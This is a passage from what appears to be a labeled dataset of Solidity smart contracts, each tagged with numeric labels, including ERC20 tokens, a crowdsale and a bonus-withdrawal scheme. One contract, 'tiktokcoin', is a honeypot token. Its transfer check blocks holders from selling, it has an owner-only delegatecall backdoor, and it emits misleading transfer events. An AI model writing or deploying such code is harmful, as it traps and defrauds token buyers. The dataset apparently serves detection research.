require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract IndividualLockableToken is ERC20Pausable, Ownable{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balanceOf(_holder) >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balanceOf(_holder);
return balanceOf(_holder).sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseAllowance(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowance(msg.sender, _spender).add(_addedValue));
return super.increaseAllowance(_spender, _addedValue);
}
function decreaseAllowance(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowance(msg.sender, _spender);
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseAllowance(_spender, _subtractedValue);
}
}
contract WorldPay is IndividualLockableToken {
using SafeMath for uint256;
string public constant name = "WORLD Pay";
string public constant symbol = "WOPS";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 36523000000 * (10 ** uint256(decimals));
constructor()
public
{
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 | 4,097 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
function transfer(address _to, uint _value) public{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
uint256 public userSupplyed;
function transferFrom(address _from, address _to, uint _value) public {
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public{
require((_value == 0) || (allowed[msg.sender][_spender] == 0)) ;
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract KOL is StandardToken {
function queryNode(address _addr) public view returns(bool);
function querySuperNode(address _addr) public view returns(bool);
}
contract KOLP is StandardToken {
address public draw;
bool public going;
struct lock{
uint256 begin;
uint256 amount;
uint256 end;
bool withDrawed;
}
struct teamRate{
uint8 rate;
uint256 changeTime;
}
struct inviteBonus{
uint256 begin;
uint256 dayBonus;
uint256 hisTotalBonus;
}
struct withDraws{
uint256 time;
uint256 amount;
}
struct dayTeamBonus{
uint256 theDayLastSecond;
uint256 theDayTeamBonus;
uint256 totalTeamBonus;
uint8 theDayRate;
}
struct dayInviteBonus{
uint256 theDayLastSecond;
uint256 theDayInviteBonus;
uint256 totalInviteBonus;
}
mapping (address => dayTeamBonus[]) public LockTeamBonus;
mapping (address => dayInviteBonus[]) public LockInviteBonus;
mapping (address => address[]) public InviteList;
mapping (address => address[]) public ChildAddrs;
mapping (address => lock[]) public LockHistory;
mapping (address => uint256) public LockBalance;
mapping (address => uint256) public InviteHistoryBonus;
mapping (address => uint256) public InviteCurrentDayBonus;
mapping (uint256 => uint256) public ClosePrice;
mapping (address => uint256) public TotalUsers;
mapping (address => uint256) public TotalLockingAmount;
mapping (uint256 => address) public InviteCode;
mapping (address => uint256) public RInviteCode;
mapping (address => uint8) public isLevelN;
mapping (uint8 => uint8) public levelRate;
mapping (address => bool) public USDTOrCoin;
modifier onlyContract {
require(msg.sender == draw);
_;
}
function qsLevel(address _addr) onlyContract public ;
function queryLockBalance(address _addr,uint256 _queryTime) public view returns(uint256);
function getYestodayLastSecond(uint256 _queryTime) public view returns(uint256);
function clearLock(address _addr) onlyContract public ;
function pushInvite(address _addr,
uint256 _theDayLastSecond,
uint256 _theDayInviteBonus,
uint256 _totalInviteBonus) onlyContract public ;
function setLastInvite(address _addr,
uint256 _theDayInviteBonus,
uint256 _totalInviteBonus) onlyContract public ;
function pushTeam(address _addr,
uint256 _theDayLastSecond,
uint256 _theDayTeamBonus,
uint256 _totalTeamBonus,
uint8 _theDayRate) onlyContract public ;
function setLastTeam(address _addr,
uint256 _theDayTeamBonus,
uint256 _totalTeamBonus,
uint8 _theDayRate) onlyContract public ;
function subTotalUsers(address _addr) onlyContract public ;
function subTotalLockingAmount(address _addr,uint256 _amount) onlyContract public ;
function subTotalBalance(uint256 _amount) onlyContract public ;
function setInviteTeam(address _addr) onlyContract public ;
function getLockLen(address _addr) public view returns(uint256);
function getFathersLength(address _addr) public view returns(uint256);
function getLockTeamBonusLen(address _addr) public view returns(uint256);
function getLockInviteBonusLen(address _addr) public view returns(uint256);
}
contract Ownable {
address public owner;
constructor() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract KOLWithDraw is Ownable{
using SafeMath for uint256;
string public name = "KOL Withdraw";
KOL public kol;
KOLP public kolp;
uint256 public every = 1 days;
uint256 public minBonus = 30 * (10 ** 18);
uint256 public leftBonus = 0;
address public reciever;
uint256 public etherFee = 0.005 ether;
uint8 public fee = 5;
struct dayTeamBonus{
uint256 theDayLastSecond;
uint256 theDayTeamBonus;
uint256 totalTeamBonus;
uint8 theDayRate;
}
struct dayInviteBonus{
uint256 theDayLastSecond;
uint256 theDayInviteBonus;
uint256 totalInviteBonus;
}
mapping (address => uint256) public TotalWithDraws;
mapping (address => uint256) public DrawTime;
event WithDrawed(address _user,uint256 _amount);
constructor(address _kolAddress,address _kolpAddress,address _reciever) public {
kol = KOL(_kolAddress);
kolp = KOLP(_kolpAddress);
reciever = _reciever;
}
function querySelfBonus(address _addr) public view returns(uint256){
uint256 len = kolp.getLockLen(_addr);
uint256 selfBonus;
if(len >0){
uint256 begin;
uint256 end;
uint256 amount;
bool withDrawed;
for (uint i=0; i<len; i++){
(begin,amount,end,withDrawed) = kolp.LockHistory(_addr,i);
if (!withDrawed){
if (DrawTime[_addr] > begin) begin = DrawTime[_addr];
uint256 lastingDays = (kolp.getYestodayLastSecond(now) - kolp.getYestodayLastSecond(begin)) / every;
if (kolp.USDTOrCoin(_addr)){
begin = kolp.getYestodayLastSecond(begin) + every;
for (uint j=0;j<lastingDays;j++){
uint256 theTime = begin + j*every;
selfBonus += amount * 3 / 1000 * kolp.ClosePrice(begin) / kolp.ClosePrice(theTime);
}
}else{
selfBonus += lastingDays * amount * 3 / 1000;
}
}
}
}
return (selfBonus);
}
function queryInviteBonus(address _addr) public view returns(uint256){
uint256 last = kolp.getLockInviteBonusLen(_addr);
if(last>0){
uint256 yestodayLastSecond = kolp.getYestodayLastSecond(now);
uint256 lastingDays;
uint256 newDayInviteTotalBonus;
dayInviteBonus memory theDayIB = dayInviteBonus(0,0,0);
while(last>=1){
(theDayIB.theDayLastSecond,theDayIB.theDayInviteBonus,theDayIB.totalInviteBonus) = kolp.LockInviteBonus(_addr,last-1);
last--;
if (theDayIB.theDayLastSecond <= yestodayLastSecond){
lastingDays = (yestodayLastSecond - theDayIB.theDayLastSecond) / every;
newDayInviteTotalBonus = (lastingDays * theDayIB.theDayInviteBonus) + theDayIB.totalInviteBonus;
return (newDayInviteTotalBonus);
}
}
return 0;
}else
return 0;
}
function queryTeamBonus(address _addr) public view returns(uint256){
uint256 last = kolp.getLockTeamBonusLen(_addr);
if(last>0){
uint256 yestodayLastSecond = kolp.getYestodayLastSecond(now);
uint256 lastingDays;
uint256 newDayTeamTotalBonus;
dayTeamBonus memory theDayTB =dayTeamBonus(0,0,0,0);
while(last>=1){
(theDayTB.theDayLastSecond,theDayTB.theDayTeamBonus,theDayTB.totalTeamBonus,theDayTB.theDayRate) = kolp.LockTeamBonus(_addr,last-1);
last--;
if (theDayTB.theDayLastSecond <= yestodayLastSecond){
lastingDays = (yestodayLastSecond - theDayTB.theDayLastSecond) / every;
newDayTeamTotalBonus = (lastingDays * theDayTB.theDayTeamBonus * theDayTB.theDayRate / 100 ) + theDayTB.totalTeamBonus;
return (newDayTeamTotalBonus);
}
}
return 0;
}else
return 0;
}
function afterWithdraw(address _addr,uint256 _amount) private {
address father;
uint256 fathersLen = kolp.getFathersLength(_addr);
for (uint i = 0; i<fathersLen; i++){
father = kolp.InviteList(_addr,i);
kolp.subTotalUsers(father);
kolp.subTotalLockingAmount(father,_amount);
kolp.qsLevel(father);
kolp.setInviteTeam(_addr);
}
}
function withdraw(bool _onlyBonus) payable public{
require(msg.value >= etherFee);
uint256 bonus = querySelfBonus(msg.sender);
DrawTime[msg.sender] = now;
uint256 last = kolp.getLockInviteBonusLen(msg.sender);
uint256 yestodayLastSecond = kolp.getYestodayLastSecond(now);
uint256 lastingDays;
if(last>0){
dayInviteBonus memory theDayIB = dayInviteBonus(0,0,0);
uint256 realLast = last;
while(realLast>=1){
(theDayIB.theDayLastSecond,theDayIB.theDayInviteBonus,theDayIB.totalInviteBonus) = kolp.LockInviteBonus(msg.sender,realLast-1);
realLast--;
if (theDayIB.theDayLastSecond <= yestodayLastSecond){
lastingDays = (yestodayLastSecond - theDayIB.theDayLastSecond) / every;
bonus += (lastingDays * theDayIB.theDayInviteBonus) + theDayIB.totalInviteBonus;
if(theDayIB.theDayLastSecond < yestodayLastSecond){
kolp.pushInvite(msg.sender,yestodayLastSecond,theDayIB.theDayInviteBonus,0);
}else if(theDayIB.theDayLastSecond == yestodayLastSecond){
kolp.setLastInvite(msg.sender,theDayIB.theDayInviteBonus,0);
}
}
}
}
last = kolp.getLockTeamBonusLen(msg.sender);
if(last>0){
dayTeamBonus memory theDayTB =dayTeamBonus(0,0,0,0);
while(last>=1){
(theDayTB.theDayLastSecond,theDayTB.theDayTeamBonus,theDayTB.totalTeamBonus,theDayTB.theDayRate) = kolp.LockTeamBonus(msg.sender,last-1);
last--;
if (theDayTB.theDayLastSecond <= yestodayLastSecond){
lastingDays = (yestodayLastSecond - theDayTB.theDayLastSecond) / every;
bonus += (lastingDays * theDayTB.theDayTeamBonus * theDayTB.theDayRate / 100 ) + theDayTB.totalTeamBonus;
if(theDayTB.theDayLastSecond < yestodayLastSecond){
kolp.pushTeam(msg.sender,yestodayLastSecond,theDayTB.theDayTeamBonus,0,theDayTB.theDayRate);
}else if(theDayTB.theDayLastSecond == yestodayLastSecond){
kolp.setLastTeam(msg.sender,theDayTB.theDayTeamBonus,0,theDayTB.theDayRate);
}
}
}
}
uint256 realBonus = bonus;
if (leftBonus == 0){
_onlyBonus = false;
realBonus =0;
}else if(bonus >= leftBonus){
realBonus = leftBonus;
}
uint256 subLeft = realBonus;
uint256 tax = realBonus*fee/100;
realBonus = realBonus.sub(tax);
if (!_onlyBonus){
uint256 balance = kolp.LockBalance(msg.sender);
if (bonus < minBonus){
realBonus = balance;
tax = 0;
subLeft = 0;
}else{
realBonus += balance;
}
kolp.subTotalBalance(balance);
kolp.clearLock(msg.sender);
afterWithdraw(msg.sender,balance);
}else{
require(bonus >= minBonus);
}
if (realBonus > 0) {
kol.transfer(msg.sender,realBonus);
TotalWithDraws[msg.sender] += realBonus;
emit WithDrawed(msg.sender,realBonus);
}
if (tax > 0) kol.transfer(reciever,tax);
leftBonus = leftBonus.sub(subLeft);
}
function calcuAllBonus(bool _onlyBonus) public view returns(uint256){
uint256 bonus = querySelfBonus(msg.sender);
bonus += queryInviteBonus(msg.sender);
bonus += queryTeamBonus(msg.sender);
if (leftBonus == 0){
bonus =0;
}else if(bonus >= leftBonus){
bonus = leftBonus;
}
bonus = bonus * (100-fee) /100;
if (!_onlyBonus){
uint256 balance = kolp.LockBalance(msg.sender);
bonus += balance;
}
return bonus;
}
function addBonus(uint256 _amount) onlyOwner public{
leftBonus = leftBonus.add(_amount);
}
function setFee(uint8 _fee) onlyOwner public{
fee = _fee;
}
function setKOLP(address _paddr) onlyOwner public{
kolp = KOLP(_paddr);
}
function draw() onlyOwner public{
reciever.send(address(this).balance);
}
function setetherFee(uint256 _fee) onlyOwner public{
etherFee = _fee;
}
function setReciever(address _reciever) onlyOwner public{
reciever = _reciever;
}
} | 0 | 2,160 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract tiktokcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 698 |
pragma solidity ^0.4.16;
contract CrowdsaleRC {
uint public createdTimestamp; uint public start; uint public deadline;
address public owner;
address public beneficiary;
uint public amountRaised;
uint public maxAmount;
mapping(address => uint256) public balanceOf;
mapping (address => bool) public whitelist;
event FundTransfer(address backer, uint amount, bool isContribution);
function CrowdsaleRC () public {
createdTimestamp = block.timestamp;
start = 1529316000;
deadline = 1532080800;
amountRaised = 0;
beneficiary = 0xD27eAD21C9564f122c8f84cD98a505efDf547665;
owner = msg.sender;
maxAmount = 2000 ether;
}
function () payable public {
require( (msg.value >= 0.1 ether) && block.timestamp >= start && block.timestamp <= deadline && amountRaised < maxAmount
&& ( (msg.value <= 100 ether) || (msg.value > 100 ether && whitelist[msg.sender]==true) )
);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
FundTransfer(msg.sender, amount, true);
if (beneficiary.send(amount)) {
FundTransfer(beneficiary, amount, false);
}
}
function whitelistAddress (address uaddress) public {
require (owner == msg.sender || beneficiary == msg.sender);
whitelist[uaddress] = true;
}
function removeAddressFromWhitelist (address uaddress) public {
require (owner == msg.sender || beneficiary == msg.sender);
whitelist[uaddress] = false;
}
} | 1 | 5,503 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
